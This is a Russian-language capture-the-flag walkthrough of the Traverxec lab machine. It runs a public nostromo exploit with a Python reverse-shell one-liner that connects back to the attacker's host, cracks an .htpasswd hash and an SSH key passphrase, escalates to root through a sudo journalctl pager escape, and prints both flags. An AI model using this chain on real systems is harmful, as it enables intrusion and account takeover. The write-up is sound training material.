Обзор сервисов

IP-адрес машины 10.10.10.165. Проверим вывод nmap:

$ nmap -sV -sC -Pn -oN 10.10.10.165 10.10.10.165
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-06 05:53 EDT
Nmap scan report for 10.10.10.165
Host is up (0.077s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-title: TRAVERXEC
|_http-server-header: nostromo 1.9.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.26 seconds

Веб-интерфейс

На веб-интерфейсе находится лендинг с контактной формой.

Alt text

В выводе nmap мы заметили CMS, на которой работает приложение - nostromo 1.9.6. Поищем эксплоит. Такой быстро находится, применим его:

$ searchsploit nostromo 1.9.6             
--------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                 |  Path
--------------------------------------------------------------------------------------------------------------- ---------------------------------
nostromo 1.9.6 - Remote Code Execution                                                                         | multiple/remote/47837.py
--------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
$ searchsploit -m multiple/remote/47837.py
$ rlwrap nc -lnvp 1234
$ python2 47837.py 10.10.10.165 80 "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.16.22\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'"

Alt text

Брутфорс

В каталоге /var находим каталог /nostromo, где располагаются файлы CMS. В них есть файл .htpasswd, который мы прочитаем и попробуем подобрать пароль.

www-data@traverxec:/var/nostromo/conf$ cat .htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
$ hashcat -m 500 htpasswd /usr/share/wordlists/rockyou.txt --username
Nowonly4me

Каталог с приватными файлами

Еще в конфигурационных файлах nostromo можно обнаружить файл nhttpd.conf:

$ cat nhttpd.conf
# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             [email protected]
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

Нас интересует /home и public_www.

Alt text

www-data@traverxec:/var/nostromo/conf$ cd /home/david/public_www
www-data@traverxec:/home/david/public_www$ ls -la
total 16
drwxr-xr-x 3 david david 4096 Oct 25  2019 .
drwx--x--x 6 david david 4096 Aug  5 12:24 ..
-rw-r--r-- 1 david david  402 Oct 25  2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25  2019 protected-file-area
www-data@traverxec:/home/david/public_www/protected-file-area$ ls
backup-ssh-identity-files.tgz

Скачаем backup-ssh-identity-files.tgz и распакуем.

$ tar xvf backup.tgz 
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub

Мы видим .ssh каталог с публичным и приватным ключами. Попробуем подобрать пароль.

$ ssh2john id_rsa > hash
$ john --format=ssh -w /usr/share/wordlists/rockyou.txt hash
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (id_rsa)     
1g 0:00:00:00 DONE (2023-08-06 06:24) 50.00g/s 16000p/s 16000c/s 16000C/s frodo..barbara
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Теперь можем подключиться по SSH как david.

$ ssh -i id_rsa [email protected]                              
The authenticity of host '10.10.10.165 (10.10.10.165)' can't be established.
ED25519 key fingerprint is SHA256:AbyOr506Yqq/VclZ900M6Ijj6qCoveykzcpc/cuIB14.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.165' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa': hunter
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Sat Aug  5 18:06:02 2023 from 10.10.16.86

Пользовательский флаг

david@traverxec:~$ ls -la
total 44
drwx--x--x 6 david david 4096 Aug  5 12:24 .
drwxr-xr-x 3 root  root  4096 Oct 25  2019 ..
lrwxrwxrwx 1 root  root     9 Oct 25  2019 .bash_history -> /dev/null
-rw-r--r-- 1 david david  220 Oct 25  2019 .bash_logout
-rw-r--r-- 1 david david 3526 Oct 25  2019 .bashrc
drwx------ 2 david david 4096 Aug  5 12:20 bin
-rw------- 1 david david  116 Aug  5 12:24 .lesshst
drwxr-xr-x 3 david david 4096 Aug  5 11:55 .local
-rw-r--r-- 1 david david  807 Oct 25  2019 .profile
drwxr-xr-x 3 david david 4096 Oct 25  2019 public_www
drwx------ 2 david david 4096 Oct 25  2019 .ssh
-r--r----- 1 root  david   33 Aug  4 03:28 user.txt
david@traverxec:~$ cat user.txt
a9b4e989dfa7a50cccafa1f7b5f3b1a8

Alt text

Повышение привилегий

В каталоге /home/david есть подкаталог bin.

$ cd /home/david/bin; ls
david@traverxec:~/bin$ cat server-stats.sh
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

Мы можем выполнять в качестве суперпользователя команду /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat.

Воспользуемся инструкцией с gtfobins.

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
!/bin/bash

Alt text

Флаг суперпользователя

root@traverxec:/home/david/bin# cd /root
root@traverxec:~# ls -la
total 68
drwx------  3 root root  4096 Aug  5 12:03 .
drwxr-xr-x 18 root root  4096 Sep 16  2022 ..
lrwxrwxrwx  1 root root     9 Oct 25  2019 .bash_history -> /dev/null
-rw-r--r--  1 root root   570 Jan 31  2010 .bashrc
-rw-------  1 root root    47 Aug  5 12:03 .lesshst
drwxr-xr-x  3 root root  4096 Nov 12  2019 .local
-rw-r--r--  1 root root 37520 Oct 25  2019 nostromo_1.9.6-1.deb
-rw-r--r--  1 root root   148 Aug 17  2015 .profile
-r--------  1 root root    33 Aug  4 03:28 root.txt
root@traverxec:~# cat root.txt
0426d66212200d3244baa72b38921ec5

Alt text